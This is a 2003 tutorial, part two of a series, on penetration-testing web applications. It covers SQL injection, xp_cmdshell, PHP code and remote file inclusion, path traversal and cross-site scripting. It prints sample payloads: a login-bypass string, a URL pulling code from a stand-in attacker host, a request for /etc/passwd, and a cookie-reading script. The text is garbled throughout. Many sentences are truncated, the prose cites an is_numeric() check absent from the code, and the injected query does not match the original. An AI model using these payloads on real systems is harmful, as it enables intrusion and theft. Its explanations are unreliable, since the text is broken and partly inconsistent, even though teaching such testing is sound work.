

## Penetration Testing for Web Applications (Part Two)

by [Jody Melbourne](#) and [David Jorm](#)

last updated July 3, 2003

---

Our [first article](#) in this series covered user interaction with Web applications and explored the various methods most commonly utilized by developers. In this second installment we will be expanding upon issues of input routinely, through a lack of proper input sanity and validity checking, expose their back-end systems to serious SQL-injection attacks. We will also investigate the client-side problems associated with poor input-validation attacks.

### The Blackbox Testing Method

The blackbox testing method is a technique for hardening and penetration-testing Web applications where the application is not available to the tester. It forces the penetration tester to look at the Web application from therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods (as discussed in [Part 1](#)) to identify all expected inputs and interactions from the user. The blackbox tester, at first, attempts to interact with the application and learn its expected behavior. The term blackbox refers to this Input/UnknownProcess/Output testing.

The tester attempts to elicit exception conditions and anomalous behavior from the Web application by making requests - using special characters, white space, SQL keywords, oversized requests, and so forth. Any unexpected response from the application is noted and investigated. This may take the form of scripting error messages (possibly with status codes like HTTP 500), or half-loaded pages.



Figure 1 - Blackbox testing GET variables

Any strange behavior on the part of the application, in response to strange inputs, is certainly worth investigating. If a developer has failed to validate inputs correctly!

### SQL Injection Vulnerabilities

Many Web application developers (regardless of the environment) do not properly strip user input of potentially dangerous characters before using that input directly in SQL queries. Depending on the back-end database in use, SQL injection vulnerabilities can provide the attacker with data/system access for the attacker. It may be possible to not only manipulate existing queries, but to UNION, DROP, or append additional queries. In some cases, it may be possible to read in or write out to files, or to execute commands on the underlying operating system.

### Locating SQL Injection Vulnerabilities

Often the most effective method of locating SQL injection vulnerabilities is by hand - studying application input and output for suspicious characters. With many of the popular backends, informative error pages are displayed by default, which can be used to determine the query in use: when attempting SQL injection attacks, you want to learn as much as possible about the syntax



**Figure 2 - Potential SQL injection vulnerability**



**Figure 3 - Another potential SQL injection hole**

### Example: Authentication bypass using SQL injection

This is one of the most commonly used examples of an SQL injection vulnerability, as it is easy to understand and highlights the extent and severity of these vulnerabilities. One of the simplest ways to validate a user on a web page is through a login form, which prompts for a username and password. When the form is submitted to the login script (and the username and password fields are used as variables within an SQL query).

Examine the following code (using MS Access DB as our backend):

```

user = Request.form("user")
pass = Request.form("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open (dsn)
SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and user='" & user & "'"
rs.open (sql,conn) if rs.eof or rs.bof then
    response.write "Database Error"
else
    if rs("C") < 1 then
        response.write "Invalid Credentials"
    else
        response.write "Logged In"
    end if
end if

```

In this scenario, no sanity or validity checking is being performed on the user and pass variables from our form. Even if the client may have client-side (eg. Javascript) checks on the inputs, but as has been demonstrated in the first part of the series, an attacker who understands HTML can bypass these restrictions. If the attacker were to submit the following credentials to

```
user: test' OR '1'='1
```

```
pass: test
```

the resulting SQL query would look as follows:

```
SELECT * FROM users where pass='test' and user='test' OR '1' = '1'
```

In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to 1." As the second condition is irrelevant, and the query data is returned successfully - in this case, logging the attacker i

For recent examples of this class of vulnerability, please refer to <http://www.securityfocus.com/bid/4520> and <http://www.securityfocus.com/bid/4931>. Both of these advisories detail SQL authentication issues similar to

### MS-SQL Extended stored procedures

Microsoft SQL Server 7 supports the loading of extended stored procedures (a procedure implemented in a separate application at runtime). Extended stored procedures can be used in the same manner as database stored procedures and are employed to perform tasks related to the interaction of the SQL server with its underlying Win32 environment. Most built-in XSPs - most of these stored procedures are prefixed with an `xp_`.

Some of the built-in functions useful to the MSSQL pen-tester:

* <code>xp_cmdshell</code>	- execute shell commands
* <code>xp_enumgroups</code>	- enumerate NT user groups
* <code>xp_logininfo</code>	- current login info
* <code>xp_grantlogin</code>	- grant login rights
* <code>xp_getnetname</code>	- returns WINS server name
* <code>xp_regdeletekey</code>	- registry manipulation
* <code>xp_regenumvalues</code>	
* <code>xp_regread</code>	
* <code>xp_regwrite</code>	
* <code>xp_msver</code>	- SQL server version info

A non-hardened MS-SQL server may allow the DBO user to access these potentially dangerous stored procedures with the permissions of the SQL server instance - in many cases, with SYSTEM privileges).

There are many extended/stored procedures that should not be accessible to any user other than the DBA. A list can be found at MSDN: [http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts\\_sp\\_00\\_519](http://msdn.microsoft.com/library/default.asp?url=/library/en-us/tsqlref/ts_sp_00_519)

A well-maintained guide to hardening MS-SQL Server 7 and 2000 can be found at SQLSecurity.com: <http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4>

### PHP and MySQL Injection

A vulnerable PHP Web application with a MySQL backend, despite PHP escaping numerous 'special' characters (if disabled), can be manipulated in a similar manner to the above ASP application. MySQL does not allow for concatenation like MSSQL's `xp_cmdshell`, however in many cases it is still possible for the attacker to append arbitrary conditions and subselects to access or modify records in the database.

For more information on PHP/MySQL security issues, refer to <http://www.phpadvisory.com>. PHP/MySQL security - reference phpMyshop (<http://www.securityfocus.com/bid/6746>) and PHPNuke (<http://www.securityfocus.com/bid/6746>)

### Code and Content Injection

What is code injection? Code injection vulnerabilities occur where the output or content served from a Web application is manipulated in such a way that it triggers server-side code execution. In some poorly written Web applications, server-side files (such as by posting to a message board or guestbook) it is sometimes possible to inject code into the application itself.

This vulnerability hinges upon the manner in which the application loads and passes through the contents of the page. If this is done before the scripting language is parsed and executed, the user-modified content may also be subject to execution.

### Example: A simple message board in PHP

The following snippet of PHP code is used to display posts for a particular message board. It retrieves the name of the user and opens a file `$messageid.txt` under `/var/www/forum/`:

```
<?php
    include('/var/www/template/header.inc');
    if (isset($_GET['messageid']) && file_exists('/var/www/forum/' . stripslashes($messageid) . '.txt')) {
        include('/var/www/forum/' . stripslashes($messageid) . '.txt');
    } else {
        include('/var/www/template/error.inc');
    }
    include('/var/www/template/footer.inc');
?>
```

Although the `is_numeric()` test prevents the user from entering a file path as the messageid, the content is not checked in any way. (The problem with allowing unchecked entry of file paths is explained later) If the user enters a file path, the message would be `include()`'d and therefore executed by the server.

A simple method of exploiting this example vulnerability would be to post to the message board a simple command to run the application (PHP in this example), then view the post and see if the output indicates the code has been executed.

### Server Side Includes (SSI)

SSI is a mechanism for including files using a special form of HTML comment which predates the include function in languages such as PHP and JSP. Older CGI programs and 'classic' ASP scripts still use SSI to include libraries and elements of content, such as a site template header and footer. SSI is interpreted by the Web server, not the client. If tags can be injected at the time of script execution these will often be accepted and parsed by the Web server. SSI vulnerabilities are similar to those shown above for scripting language injection. SSI is rapidly becoming out of fashion and will not be covered in any more detail.

### Miscellaneous Injection

There are many other kinds of injection attacks common amongst Web applications. Since a Web application takes the contents of headers, cookies and GET/POST variables as input, the actions performed by the application must be thoroughly examined. There is a potentially limitless scope of actions a Web application may perform: opening files, search databases, interface with other command systems and, as is increasingly common in the Web world, execute other Web applications. Each of these actions requires its own syntax and requires that input variables be passed in a unique manner.

For example, as we have seen with SQL injection, SQL special characters and keywords must be stripped. If a Web application that opens a serial port and logs information remotely via a modem? Could the user input a modem number to cause the modem to hangup and redial other numbers? This is merely one example of the concept of injecting code into a Web application.

penetration tester is to understand what the Web application is doing in the background - the function calls - and whether the arguments to these calls or strings of commands can be manipulated via headers, cookies

### Example: PHP `fopen()`

As a real world example, take the widespread PHP `fopen()` issue. PHP's file-open `fopen()` function allows for the use of a filename, simplifying access to Web services and remote resources. We will use a simple portal page

URL: `http://www.example.com/index.php?file=main`

```
<?php
    include('/var/www/template/header.inc');
    if (isset($_GET['file'])) {
        $fp = fopen("$file" . ".html", "r");
    } else {
        $fp = fopen("main.html", "r");
    }
    include('/var/www/template/footer.inc');
?>
```

The `index.php` script includes header and footer code, and `fopen()` opens the page indicated by the file GET variable. The default is `main.html`. The developer is forcing a file extension of `.html`, but is not specifying a directory path. Inspecting this code should notice immediately that it is vulnerable to a directory traversal attack, as long as the file exists in `.html` (See below).

However, due to `fopen()`'s URL handling features, an attacker in this case could submit:

```
http://www.example.com/index.php?file=http://www.hackersite.com/main
```

This would force the example application to `fopen()` the file `main.html` at `www.hackersite.com`. If this file would be incorporated into the output of the `index.php` application, and would therefore be executed by the browser, the attacker is able to inject arbitrary PHP code into the output of the Web application, and force server-side execution. This is a classic example of a directory traversal attack, and is often referred to as `..` choosing.

W-Agora forum was recently found to have such a vulnerability in its handling of user inputs that could result in arbitrary code execution. For more details, see <http://www.securityfocus.com/bid/6463>. This is a perfect example of this particular class of vulnerability.

Many skilled Web application developers are aware of current issues such as SQL injection and will use the appropriate functions and command-stripping mechanisms available. However, once less common command systems are used, sanity-checking is often flawed or inadequate due to a lack of comprehension of the wider issues of input validation.

### Path Traversal and URIs

A common use of Web applications is to act as a wrapper for files of Web content, opening them and returning the content as HTML. This can be seen in the above sample for code injection. Once again, sanity checking is the key. If the application does not specify the file to be wrapped is not checked, a relative path can be entered.

Copying from our misc. code injection example, if the developer were to fail to specify a file suffix with `fopen()`

```
fopen("$file" , "r");
```

...the attacker would be able to traverse to any file readable by the Web application.

```
http://www.example.com/index.php?file=../../../../etc/passwd
```

This request would return the contents of /etc/passwd unless additional stripping of the path character (/. ) variable.

This problem is compounded by the automatic handling of URIs by many modern Web scripting technologies like Microsoft's .NET. If this is supported on the target environment, vulnerable applications can be used as an

```
http://www.example.com/index.php?file=http://www.google.com/
```

This flaw is one of the easiest security issues to spot and rectify, although it remains common on smaller sites that only perform basic content wrapping. The problem can be mitigated in two ways. First, by implementing an integrity check on documents or, as in our message board code, using files named in numeric sequence with a static prefix and any path characters such as [/\.] which attackers could use to access resources outside of the application's

### Cross Site Scripting

Cross Site Scripting attacks (a form of content-injection attack) differs from the many other attack methods in that it affects the client-side of the application (ie. the user's browser). Cross Site Scripting (XSS) occurs where an application allows a user to manipulate HTML output from the application - this may be in the result of a search query, application where the user's input is displayed back to the user without any stripping of HTML content.

A simple example of XSS can be seen in the following URL:

```
http://server.example.com/browse.cfm?categoryID=1&name=Books
```

In this example the content of the 'name' parameter is displayed on the returned page. A user could submit

```
http://server.example.com/browse.cfm?categoryID=1&name=<h1>Books
```

If the characters < > are not being correctly stripped or escaped by this application, the "<h1>" would be parsed by the browser as valid HTML. A better example would be as follows:

```
http://server.example.com/browse.cfm?categoryID=1&name=<script>alert(document.cookie);</script>
```

In this case, we have managed to inject Javascript into the resulting page. The relevant cookie (if any) for the user is displayed in a popup box upon submitting this request.

This can be abused in a number of ways, depending on the intentions of the attacker. A short piece of Javascript to an arbitrary site could be placed into this URL. The request could then be hex-encoded and sent to another site. Upon clicking the trusted link, the user's cookie would be submitted to the external site. If the user's cookie is used alone for authentication, the user's account would be compromised. We will be covering cookies in more detail in a future article.

In most cases, XSS would only be attempted from a reputable or widely-used site, as a user is more likely to trust a site if the server domain name is trusted. This kind of attack does not allow for any access to the client beyond the user's browser security settings).

For more details on Cross-Site scripting and its potential for abuse, please refer to the CGI Security XSS FAQ at <http://www.cgisecurity.com/articles/xss-faq.shtml>.

### Conclusion

In this article we have attempted to provide the penetration tester with a good understanding of the issue of Cross Site Scripting.

subtopics covered in this article are deep and complex issues, and could well require a series of their own t encouraged to explore the documents and sites that we have referenced for further information.

The final part of this series will discuss in more detail the concepts of sessions and cookies - how Web appli mechanisms can be manipulated and bypassed. We will also explore the issue of traditional attacks (such a that have plagued developers for years, and are still quite common in the Web applications world.